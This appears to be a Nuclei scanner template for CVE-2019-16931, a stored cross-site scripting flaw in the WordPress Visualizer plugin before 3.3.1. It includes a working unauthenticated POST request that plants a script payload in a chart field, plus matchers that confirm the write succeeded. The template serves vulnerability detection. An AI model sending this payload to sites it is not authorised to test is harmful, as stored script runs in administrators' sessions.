id: CVE-2019-16931

info:
  name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
  remediation: |
    Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://wpvulndb.com/vulnerabilities/9893
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16931
    - https://wordpress.org/plugins/visualizer/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16931
    cwe-id: CWE-79
    epss-score: 0.00244
    epss-percentile: 0.62296
    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: themeisle
    product: visualizer
    framework: wordpress
  tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan

http:
  - raw:
      - |
        POST /wp-json/visualizer/v1/update-chart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"success":"Chart updated"}'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

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